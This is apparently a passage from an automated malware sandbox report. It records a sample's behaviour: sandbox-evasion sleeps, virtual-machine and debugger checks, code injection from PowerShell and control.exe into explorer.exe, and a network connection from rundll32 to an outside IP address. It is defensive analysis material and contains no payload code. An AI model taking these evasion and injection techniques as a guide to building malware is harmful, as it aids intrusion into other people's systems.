Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6956 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6956 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\0rxpcrxp\0rxpcrxp.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\rn2v1u0v\rn2v1u0v.dll Jump to dropped file
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5391 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2401 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B665C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 3_2_05B665C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B699BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 3_2_05B699BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B7BAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 3_2_05B7BAD1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B6FD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 3_2_05B6FD47
Source: explorer.exe, 00000022.00000000.521128576.00000000051AC000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000022.00000000.483712623.0000000006005000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000022.00000000.475309894.0000000005EAB000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000022.00000000.483712623.0000000006005000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: rundll32.exe, 00000003.00000002.506846492.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.385751569.0000000000F55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.507972580.0000000000F55000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.370432738.0000000000F55000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000022.00000000.521196598.00000000051D2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: RuntimeBroker.exe, 00000029.00000003.603288359.000001F9B9A60000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000022.00000000.520867961.000000000514F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B6EC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey, 3_2_05B6EC00
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_05B68FEC StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler, 3_2_05B68FEC

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 176.10.119.68 80 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\System32\control.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF620E112E0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 8A0000 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF620E112E0 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 370000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FF802BC1580 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 24D0000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 36C000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FF802BC1580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 24A0000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FF802BC1580 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 8B62287000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FF802BC1580
Changes memory attributes in foreign processes to executable or writable
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF802BC1580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF802BC1580 protect: page execute read Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF802BC1580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FF802BC1580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FF802BC1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FF802BC1580 protect: page execute read
Allocates memory in foreign processes
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: C:\Windows\System32\control.exe base: 8A0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory allocated: C:\Windows\explorer.exe base: 24A0000 protect: page execute and read and write Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3616 base: 370000 value: 00 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3616 base: 7FF802BC1580 value: EB Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3616 base: 24D0000 value: 80 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3616 base: 36C000 value: 00 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3616 base: 7FF802BC1580 value: EB Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3616 base: 24A0000 value: 80 Jump to behavior
